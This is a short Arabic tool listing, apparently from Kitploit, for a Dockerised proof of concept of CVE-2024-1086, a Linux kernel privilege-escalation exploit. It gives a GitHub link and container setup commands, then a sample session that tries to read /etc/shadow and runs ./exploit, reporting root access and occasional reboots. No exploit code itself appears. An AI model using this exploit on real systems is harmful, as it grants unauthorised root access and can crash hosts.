docker-POC_CVE-2024-1086 — إثبات مفهوم معبأ في حاوية Docker لثغرة CVE-2024-1086، وهي استغلال لتصعيد الامتيازات في نواة لينكس يمنح وصول الجذر عبر ملف ثنائي مُصمم خصيصًا. | Kitploit

https://github.com/Notselwyn/CVE-2024-1086

الاستخدام

docker compose up -d --build
docker exec -it poc_cve_2024_1086 bash

عينة اختبار

[tester@e23a4e5757d9 CVE-2024-1086]$ id
uid=99999(tester) gid=99999(tester) groups=99999(tester)
[tester@e23a4e5757d9 CVE-2024-1086]$ cat /etc/shadow
cat: /etc/shadow: Permission denied
[tester@e23a4e5757d9 CVE-2024-1086]$ ./exploit
...

النتائج

انقطع جلسة SSH للخادم الذي كنت أعمل عليه
عند الاتصال عبر الشاشة بدلاً من SSH والتحقق، وجدت أنني أصبحت root
في بعض الحالات، قد يتم إعادة التشغيل

تنزيل الأداة